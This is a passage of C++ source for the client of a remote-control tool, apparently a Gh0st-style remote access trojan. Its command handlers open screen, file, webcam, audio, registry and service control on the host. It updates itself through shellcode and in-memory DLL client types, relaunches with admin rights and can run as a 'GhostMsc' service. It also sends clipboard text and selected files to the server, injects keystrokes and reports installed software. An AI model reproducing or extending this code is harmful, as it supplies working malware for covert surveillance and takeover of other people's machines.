ulLength - 1); if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0; } m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); m_hThread[m_ulThreadCount].user = user; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_LIST_DRIVE : { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WEBCAM: { static bool hasCamera = WebCamIsExist(); if (!hasCamera) break; m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_AUDIO: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_REGEDIT: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SERVICES: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } case COMMAND_UPDATE: { auto typ = m_conn->ClientType(); if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) { ULONGLONG size = 0; memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { g_bExit = S_CLIENT_UPDATE; } } else if (typ == CLIENT_TYPE_SHELLCODE || typ == CLIENT_TYPE_MEMDLL) { char curFile[_MAX_PATH] = {}; GetModuleFileName(NULL, curFile, MAX_PATH); if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile, false)) { g_bExit = S_CLIENT_UPDATE; // 强制退出当前进程,并重新启动;这会触发重新获取 Shell code 从而做到软件升级 Mprintf("CKernelManager: [%s] Will be updated.\n", curFile); Sleep(1000); TerminateProcess(GetCurrentProcess(), 0xABCDEF); } Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile); } else if(typ == CLIENT_TYPE_ONE) { ULONGLONG size = 0; memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); const char* name = "updater.exe"; char curFile[_MAX_PATH] = {}; GetModuleFileName(NULL, curFile, MAX_PATH); GET_FILEPATH(curFile, name); DeleteFileA(curFile); if (!WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size, name)) { Mprintf("CKernelManager: Write \"%s\" failed.\n", curFile); break; } if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile, false)) { #if _CONSOLE if (m_conn->iStartup == Startup_GhostMsc) ServiceWrapper_Stop(); #endif g_bExit = S_CLIENT_UPDATE; Mprintf("CKernelManager: [%s] Will be executed.\n", curFile); Sleep(1000); TerminateProcess(GetCurrentProcess(), 0xABCDEF); } Mprintf("CKernelManager: [%s] Execute FAILED.\n", curFile); } else { Mprintf("=====> 客户端类型'%d'不支持文件升级\n", typ); } break; } case COMMAND_SEND_FILE_V2: { // C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度) int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hmac, m_MyClientID); if (n) { Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n); } break; } case COMMAND_CLIPBOARD_V2: { // C2C 剪贴板请求:被请求发送剪贴板文件到另一个客户端 ClipboardRequestV2* req = (ClipboardRequestV2*)szBuffer; Mprintf("[C2C] 收到剪贴板请求: src=%llu, dst=%llu, transferID=%llu\n", req->srcClientID, req->dstClientID, req->transferID); // 从请求包中提取认证信息 std::string hash(req->hash, 64); std::string hmac(req->hmac, 16); // 获取剪贴板文件或选中文件 int result = 0; auto files = GetClipboardFiles(result); if (files.empty()) { files = GetForegroundSelectedFiles(result); } if (!files.empty()) { // C2C: 不指定目标目录,由接收方决定 std::string targetDir = ""; // 收集文件信息(使用相对路径,接收方使用后缀匹配) std::vector> fileInfos; std::string rootDir = GetCommonRoot(files); for (size_t i = 0; i < files.size(); i++) { std::string relPath = GetRelativePath(rootDir, files[i]); std::replace(relPath.begin(), relPath.end(), '\\', '/'); // 获取文件大小 HANDLE hFile = CreateFileA(files[i].c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr); if (hFile != INVALID_HANDLE_VALUE) { LARGE_INTEGER size; GetFileSizeEx(hFile, &size); CloseHandle(hFile); fileInfos.push_back({relPath, (uint64_t)size.QuadPart}); } } // 发送续传查询(通过主连接,响应也会回到主连接) bool queryPending = false; if (!fileInfos.empty()) { auto queryPkt = BuildResumeQuery(req->transferID, m_MyClientID, req->dstClientID, fileInfos); if (!queryPkt.empty()) { m_ClientObject->Send2Server((char*)queryPkt.data(), (int)queryPkt.size()); Mprintf("[C2C] 发送续传查询: %zu 个文件, 使用完整路径\n", fileInfos.size()); queryPending = true; } } TransferOptionsV2 opts; opts.transferID = req->transferID; opts.srcClientID = m_MyClientID; // 我是源 opts.dstClientID = req->dstClientID; // 目标客户端 opts.enableResume = queryPending; // 只有发送了查询才等待响应 IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { std::thread([files, targetDir, pClient, opts, hash, hmac]() { FileBatchTransferWorkerV2(files, targetDir, pClient, [](void* user, FileChunkPacketV2* chunk, unsigned char* data, int size) -> bool { IOCPClient* client = (IOCPClient*)user; return client->Send2Server((char*)data, size) != FALSE; }, [](void* user) { IOCPClient* client = (IOCPClient*)user; delete client; Mprintf("[C2C] 文件发送完成\n"); }, hash, hmac, opts); }).detach(); Mprintf("[C2C] 开始发送 %zu 个文件到客户端 %llu\n", files.size(), req->dstClientID); } else { delete pClient; Mprintf("[C2C] 连接服务器失败\n"); } } else { // 没有文件,尝试发送剪贴板文本 std::string text; if (::OpenClipboard(NULL)) { HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT); if (hGlobal) { wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal); if (pWideStr) { int len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL); if (len > 0) { text.resize(len); WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, &text[0], len, NULL, NULL); text.resize(strlen(text.c_str())); // 去除末尾 \0 } GlobalUnlock(hGlobal); } } ::CloseClipboard(); } if (!text.empty()) { // 构建 C2C 文本包: [cmd:1][dstClientID:8][textLen:4][text:N] uint32_t textLen = (uint32_t)text.size(); std::vector pkt(1 + 8 + 4 + textLen); pkt[0] = COMMAND_C2C_TEXT; memcpy(&pkt[1], &req->dstClientID, 8); memcpy(&pkt[9], &textLen, 4); memcpy(&pkt[13], text.data(), textLen); m_ClientObject->Send2Server(pkt.data(), (int)pkt.size()); Mprintf("[C2C] 发送文本到客户端 %llu (%u 字节)\n", req->dstClientID, textLen); } else { Mprintf("[C2C] 没有找到要发送的文件或文本\n"); } } break; } case COMMAND_C2C_PREPARE: { // C2C 准备接收:捕获当前目录并返回路径给发送方 if (ulLength < sizeof(C2CPreparePacket)) break; C2CPreparePacket* pkt = (C2CPreparePacket*)szBuffer; Mprintf("[C2C] 收到准备接收通知: transferID=%llu, srcClientID=%llu\n", pkt->transferID, pkt->srcClientID); // 捕获当前目录 SetC2CTargetFolder(pkt->transferID); // 获取目标目录并返回给发送方 std::string targetDir; if (!GetCurrentFolderPath(targetDir)) { char tempPath[MAX_PATH]; GetTempPathA(MAX_PATH, tempPath); targetDir = std::string(tempPath) + "C2CRecv\\"; } // 转换为 UTF-8 int wideLen = MultiByteToWideChar(CP_ACP, 0, targetDir.c_str(), -1, nullptr, 0); std::wstring wideDir(wideLen - 1, 0); MultiByteToWideChar(CP_ACP, 0, targetDir.c_str(), -1, &wideDir[0], wideLen); int utf8Len = WideCharToMultiByte(CP_UTF8, 0, wideDir.c_str(), -1, nullptr, 0, nullptr, nullptr); std::string utf8Dir(utf8Len - 1, 0); WideCharToMultiByte(CP_UTF8, 0, wideDir.c_str(), -1, &utf8Dir[0], utf8Len, nullptr, nullptr); // 构建响应包 std::vector respBuf(sizeof(C2CPrepareRespPacket) + utf8Dir.size()); C2CPrepareRespPacket* resp = (C2CPrepareRespPacket*)respBuf.data(); resp->cmd = COMMAND_C2C_PREPARE_RESP; resp->transferID = pkt->transferID; resp->srcClientID = pkt->srcClientID; // 原始发送方,服务端据此路由 resp->pathLength = (uint16_t)utf8Dir.size(); memcpy(respBuf.data() + sizeof(C2CPrepareRespPacket), utf8Dir.c_str(), utf8Dir.size()); // 发送响应(通过服务端路由到发送方) m_ClientObject->Send2Server((char*)respBuf.data(), (int)respBuf.size()); Mprintf("[C2C] 发送目录响应: %s -> srcClient=%llu\n", targetDir.c_str(), pkt->srcClientID); break; } case COMMAND_C2C_PREPARE_RESP: { // C2C 准备响应:收到目标客户端的目录(我是发送方) if (ulLength < sizeof(C2CPrepareRespPacket)) break; C2CPrepareRespPacket* resp = (C2CPrepareRespPacket*)szBuffer; uint16_t pathLen = resp->pathLength; if (ulLength < sizeof(C2CPrepareRespPacket) + pathLen) break; // 提取 UTF-8 目录路径 std::string utf8Dir((const char*)szBuffer + sizeof(C2CPrepareRespPacket), pathLen); // UTF-8 -> 宽字符 int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8Dir.c_str(), -1, nullptr, 0); std::wstring wideDir(wlen - 1, 0); MultiByteToWideChar(CP_UTF8, 0, utf8Dir.c_str(), -1, &wideDir[0], wlen); // 存储目标目录(用于后续构建完整路径进行断点续传) SetSenderTargetFolder(resp->transferID, wideDir); Mprintf("[C2C] 收到目标目录响应: transferID=%llu, dir=%s\n", resp->transferID, utf8Dir.c_str()); break; } case COMMAND_C2C_TEXT: { // C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N] if (ulLength < 13) break; uint32_t textLen; memcpy(&textLen, szBuffer + 9, 4); if (ulLength < 13 + textLen) break; // UTF-8 文本转换为 Unicode 并设置剪贴板 std::string utf8Text((const char*)szBuffer + 13, textLen); int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Text.c_str(), -1, NULL, 0); if (wideLen > 0) { std::wstring wideText(wideLen, 0); MultiByteToWideChar(CP_UTF8, 0, utf8Text.c_str(), -1, &wideText[0], wideLen); if (::OpenClipboard(NULL)) { ::EmptyClipboard(); HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, wideLen * sizeof(wchar_t)); if (hGlobal) { wchar_t* pDst = (wchar_t*)GlobalLock(hGlobal); if (pDst) { wcscpy(pDst, wideText.c_str()); GlobalUnlock(hGlobal); SetClipboardData(CF_UNICODETEXT, hGlobal); Mprintf("[C2C] 收到文本: %u 字节\n", textLen); // 模拟 Ctrl+V 完成粘贴(因为原始 Ctrl+V 被服务端拦截了) ::CloseClipboard(); INPUT inputs[4] = {}; inputs[0].type = INPUT_KEYBOARD; inputs[0].ki.wVk = VK_CONTROL; inputs[1].type = INPUT_KEYBOARD; inputs[1].ki.wVk = 'V'; inputs[2].type = INPUT_KEYBOARD; inputs[2].ki.wVk = 'V'; inputs[2].ki.dwFlags = KEYEVENTF_KEYUP; inputs[3].type = INPUT_KEYBOARD; inputs[3].ki.wVk = VK_CONTROL; inputs[3].ki.dwFlags = KEYEVENTF_KEYUP; SendInput(4, inputs, sizeof(INPUT)); break; } else { GlobalFree(hGlobal); } } ::CloseClipboard(); } } break; } case COMMAND_FILE_COMPLETE_V2: { // C2C 文件完成校验 if (ulLength < sizeof(FileCompletePacketV2)) break; const FileCompletePacketV2* completePkt = (const FileCompletePacketV2*)szBuffer; bool verifyOk = HandleFileCompleteV2((const char*)szBuffer, ulLength, m_MyClientID); Mprintf("[C2C] 文件校验%s: transferID=%llu, fileIndex=%u\n", verifyOk ? "通过" : "失败", completePkt->transferID, completePkt->fileIndex); break; } case COMMAND_FILE_QUERY_RESUME: { // C2C 断点续传查询 Mprintf("[C2C] 收到断点续传查询\n"); auto response = HandleResumeQuery((const char*)szBuffer, ulLength); if (!response.empty()) { m_ClientObject->Send2Server((char*)response.data(), (int)response.size()); Mprintf("[C2C] 已响应断点续传查询: %zu 字节\n", response.size()); } break; } case COMMAND_FILE_RESUME: { // 检查是否为取消包 if (ulLength >= sizeof(FileResumePacketV2)) { const FileResumePacketV2* pkt = (const FileResumePacketV2*)szBuffer; if (pkt->flags & FFV2_CANCEL) { // 取消传输:通知发送线程停止 CancelTransfer(pkt->transferID); CleanupResumeState(pkt->transferID); Mprintf("[C2C] 传输已取消: transferID=%llu\n", pkt->transferID); break; } } // C2C 断点续传响应 std::map offsets; if (ParseResumeResponse((const char*)szBuffer, ulLength, offsets)) { Mprintf("[C2C] 收到续传响应: %zu 个文件\n", offsets.size()); SetPendingResumeOffsets(offsets); } else { Mprintf("[C2C] 解析续传响应失败\n"); } break; } default: { Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0])); break; } } } void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) { if (ulLength > 8) { uint64_t n = 0; memcpy(&n, szBuffer + 1, sizeof(uint64_t)); m_nNetPing.update_from_sample(GetUnixMs() - n); } } int AuthKernelManager::SendHeartbeat() { for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i) Sleep(1000); // Auth timeout check moved to reconnect loop in ClientDll.cpp // ResetTimer is called in OnHeatbeatResponse when response is received if (!m_bFirstHeartbeat && m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳) for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected() && m_settings.ReportInterval <= 0; --i) Sleep(1000); return 0; } if (g_bExit || !m_ClientObject->IsConnected()) return -1; if (m_bFirstHeartbeat) { m_bFirstHeartbeat = false; } ActivityWindow checker; auto s = checker.Check(); Heartbeat a(s, (int)(m_nNetPing.srtt * 1000)); // srtt是秒,转为毫秒 a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware); auto SN = THIS_CFG->GetStr("settings", "SN", ""); auto passCode = THIS_CFG->GetStr("settings", "Password", ""); auto pwdHmac = THIS_CFG->GetStr("settings", "PwdHmac", ""); strcpy_s(a.SN, SN.c_str()); strcpy_s(a.Passcode, passCode.c_str()); // 检查是否为 V2 授权 (以 "v2:" 开头) if (pwdHmac.length() >= 3 && pwdHmac.substr(0, 3) == "v2:") { // V2: PwdHmac = 0, 签名字符串放在 PwdHmacV2 字段 a.PwdHmac = 0; strcpy_s(a.PwdHmacV2, pwdHmac.c_str()); } else { // V1: PwdHmac 为数字 uint64_t value = std::strtoull(pwdHmac.c_str(), nullptr, 10); memcpy(&a.PwdHmac, &value, 8); } BYTE buf[sizeof(Heartbeat) + 1]; buf[0] = TOKEN_HEARTBEAT; memcpy(buf + 1, &a, sizeof(Heartbeat)); m_ClientObject->Send2Server((char*)buf, sizeof(buf)); return 0; } void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) { // Reset auth timeout timer whenever we receive a response from server // This proves we can connect to the authorization server AuthTimeoutChecker::ResetTimer(); if (ulLength > HeartbeatACK_OldSize) { HeartbeatACK n = { 0 }; const int size = sizeof(HeartbeatACK); memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize); m_nNetPing.update_from_sample(GetUnixMs() - n.Time); // Not authorized, but server is reachable, so just return and wait for next heartbeat if (n.Authorized == UNAUTHORIZED) return; if (1/* Authorized */) { static std::string authorization = THIS_CFG->GetStr("settings", "Authorization", ""); if (n.Authorization[0] && authorization != n.Authorization) { Mprintf("[AUTH] Authorization: %s ---> %s.\n", authorization.c_str(), n.Authorization); THIS_CFG->SetStr("settings", "Authorization", authorization = n.Authorization); } static int64_t k = 0; if (k++ % 12 == 0) Mprintf("[AUTH] Client authorized [Status: %d] successfully.\n", unsigned(n.Authorized)); // 时间篡改检测:防止用户修改系统时间利用旧授权码 static DateVerify s_dateVerify; if (s_dateVerify.isTimeTampered(1)) { Mprintf("!!! [FATAL] System time tampered detected. Terminating process.\n"); Logger::getInstance().flush(); // 确保日志写入磁盘 Sleep(2000); // 等待日志写入完成 TerminateProcess(GetCurrentProcess(), 0xDEAD0001); return; } if (n.IsTrail) { // Trial version: warn only when WAN connection detected LANChecker::CheckAndWarn(); // Trial version: limited to 2 listening port LANChecker::CheckPortLimit(2); return; // Trial version, do not exit } // Once the client is authorized, authentication is no longer needed // So we can set exit flag to terminate the AuthKernelManager AuthTimeoutChecker::SetAuthorized(); if (n.Authorized == AUTHED_BY_SUPER) g_bExit = S_CLIENT_EXIT; // If authorized by admin, keep the connection because these clients are managed by Layer-1 master } } else if (ulLength > 8) { uint64_t n = 0; memcpy(&n, szBuffer + 1, sizeof(uint64_t)); m_nNetPing.update_from_sample(GetUnixMs() - n); } }